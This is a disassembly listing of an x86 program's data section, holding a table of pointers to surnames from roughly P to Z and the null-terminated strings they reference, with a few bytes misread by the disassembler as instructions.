		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		and	ah, ch
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC09
; ---------------------------------------------------------------------------
		align 4
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBD4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBD0o
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EBCCo
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EBC8o
aZoldak		db 'Zoldak',0
		align 4
		dd 6272655Ah
		db 69h
; ---------------------------------------------------------------------------


loc_42EC09:				; CODE XREF: ___:0042EBC5j
		outsb
		imul	eax, [eax], 6167655Ah
		outsb
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC83h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBB0o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBACo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBA8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBA4o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBA0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EB9Co
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EB98o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EB94o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EB90o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB8Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB88o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB84o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB80o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB7Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB78o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB74o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB70o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB6Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB68o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB64o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB60o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB5Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB58o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB54o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB50o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB4Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB48o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB44o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB40o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB3Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB38o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB34o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB30o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB2Co
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB28o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB24o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB20o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB1Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB18o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB14o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB10o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EB0Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB08o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB04o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB00o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EAFCo
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EAF8o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EAF4o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EAF0o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAECo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAE8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAE4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EADCo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAD8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EAD4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAD0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EACCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAC8o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EAC4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAC0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EABCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAB8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EAB4o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAB0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EAACo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAA8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAA4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAA0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EA9Co
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EA98o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EA94o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EA90o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA8Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA88o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA84o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA80o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA7Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA78o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA74o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA70o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA6Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA68o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA64o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA60o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA5Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA58o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA54o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA50o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA4Co
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA48o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA44o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA40o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA3Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA38o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA34o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA30o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA2Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA28o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA24o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA20o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA1Co
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA18o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA14o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA10o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA0Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA08o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA04o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA00o
aTill		db 'Till',0             ; DATA XREF: ___:0042E9FCo
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E9F8o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E9F4o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E9F0o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9ECo
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9E8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9E4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9E0o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E9DCo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9D8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9D4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9D0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9CCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9C8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9C4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9C0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9BCo
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9B8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9B4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9B0o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9ACo
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9A8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9A4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9A0o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E99Co
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E998o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E994o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E990o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E98Co
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E988o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E984o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E980o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E97Co
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E978o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E974o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E970o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E96Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E968o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E964o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E960o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E95Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E958o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E954o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E950o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E94Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E948o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E944o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E940o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E93Co
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E938o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E934o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E930o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: ___:0042E92Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E928o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E924o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E920o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E91Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E918o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E914o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E910o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E90Co
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E908o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E904o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E900o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E8FCo
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E8F8o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E8F4o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E8F0o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8ECo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8E8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8E4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8E0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8DCo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8D8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8D4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8D0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8CCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8C8o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8C4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8BCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8B8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8B4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8B0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8ACo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8A8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8A4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8A0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E89Co
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E898o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E894o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E890o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E88Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E888o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E884o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E880o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E87Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E878o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E874o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E870o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E86Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E868o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E864o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E860o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E85Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E858o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E854o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E850o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E84Co
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E848o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E844o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E840o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E83Co
aSen		db 'Sen',0              ; DATA XREF: ___:0042E838o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E834o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E830o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E82Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E828o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E824o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E820o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E81Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E818o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E814o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E810o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E80Co
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E808o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E804o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E800o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E7FCo
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E7F8o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E7F4o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E7F0o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7ECo
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7E8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7E4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7E0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7DCo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7D8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7D4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7CCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7C8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7C4o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7C0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7BCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7B8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7B4o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7B0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7ACo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7A8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7A4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7A0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E79Co
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E798o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E794o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E790o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E78Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E788o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: ___:0042E784o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E780o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E77Co
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E778o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E774o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E770o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E76Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E768o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E764o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E760o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E75Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E758o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E754o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E750o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E74Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E748o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E744o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E740o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E73Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E738o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E734o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E730o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E72Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E728o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E724o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E720o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E71Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E718o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E714o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E710o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E70Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E708o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E704o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E700o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E6FCo
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E6F8o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E6F4o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E6F0o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6ECo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6E8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6E4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6E0o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6DCo
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6D8o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6D4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6D0o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6CCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6C8o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6C4o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6C0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6BCo
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6B8o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6B4o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6B0o
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E6ACo
		align 10h
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6A8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6A4o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6A0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E69Co
